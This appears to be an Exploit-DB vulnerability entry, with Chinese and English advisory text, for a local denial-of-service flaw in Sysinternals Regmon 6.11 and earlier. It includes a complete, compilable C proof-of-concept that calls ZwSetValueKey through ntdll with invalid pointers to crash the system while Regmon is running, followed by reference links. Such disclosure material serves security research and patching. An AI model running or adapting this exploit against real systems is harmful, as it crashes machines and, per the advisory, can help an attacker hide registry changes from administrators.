https://www.exploit-db.com/exploits/24411
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200412-240

NtRegmon6.12之前的版本存在漏洞。本地用户可以在NtRegmon正在运行时借助hook函数的无效指针（例如：ZwSetQueryValue）导致服务拒绝（崩溃）。

source: http://www.securityfocus.com/bid/11042/info

Regmon is reported prone to a local denial of service vulnerability. This issue presents itself because the application fails to handle exceptional conditions and references unvalidated pointers to kernel functions.

Successful exploitation may allow a local unauthorized attacker to cause a denial of service condition in the application. The attacker may then obfuscate changes to the registry from the administrator and carry out further attacks against a vulnerable computer.

Regmon 6.11 for NT/9x and prior versions are reportedly affected by this issue. 

/*
 *  ntregmon-dos.c (up to 6.11)
 *
 *  Copyright (c) 2002-2004 By Next Generation Security S.L.
 *  All rights reserved
 *  http://www.ngsec.com
 *
 *  Compiles with: cl ntregmon-dos.c
 *
 *  Madrid, August 2004
 */

#include <windows.h>

#define MY_NULL 0x01
typedef DWORD (* zwsetvaluekey_TYPE)(DWORD KeyHandle, DWORD ValueName, DWORD TitleIndex, DWORD Type, DWORD Data, DWORD DataSize);


int main(int argc, char *argv[]) {
HINSTANCE dll;
zwsetvaluekey_TYPE my_ZwSetValueKey;

  if ((dll=LoadLibrary("ntdll.dll"))!=NULL) {

     if ((my_ZwSetValueKey=(zwsetvaluekey_TYPE)GetProcAddress(dll,"ZwSetValueKey"))!=NULL) {

         my_ZwSetValueKey(MY_NULL,MY_NULL,MY_NULL,MY_NULL,MY_NULL,MY_NULL);

     }
  }

}

来源:XF
名称:ntregmon-registry-dos(17106)
链接:http://xforce.iss.net/xforce/xfdb/17106
来源:BID
名称:11042
链接:http://www.securityfocus.com/bid/11042
来源:www.ngsec.com
链接:http://www.ngsec.com/docs/advisories/NGSEC-2004-7.txt
来源:BUGTRAQ
名称:20040825[NGSEC-2004-7]NtRegmon,localsystemdenialofservice.
链接:http://marc.theaimsgroup.com/?l=bugtraq&m;=109345177124374&w;=2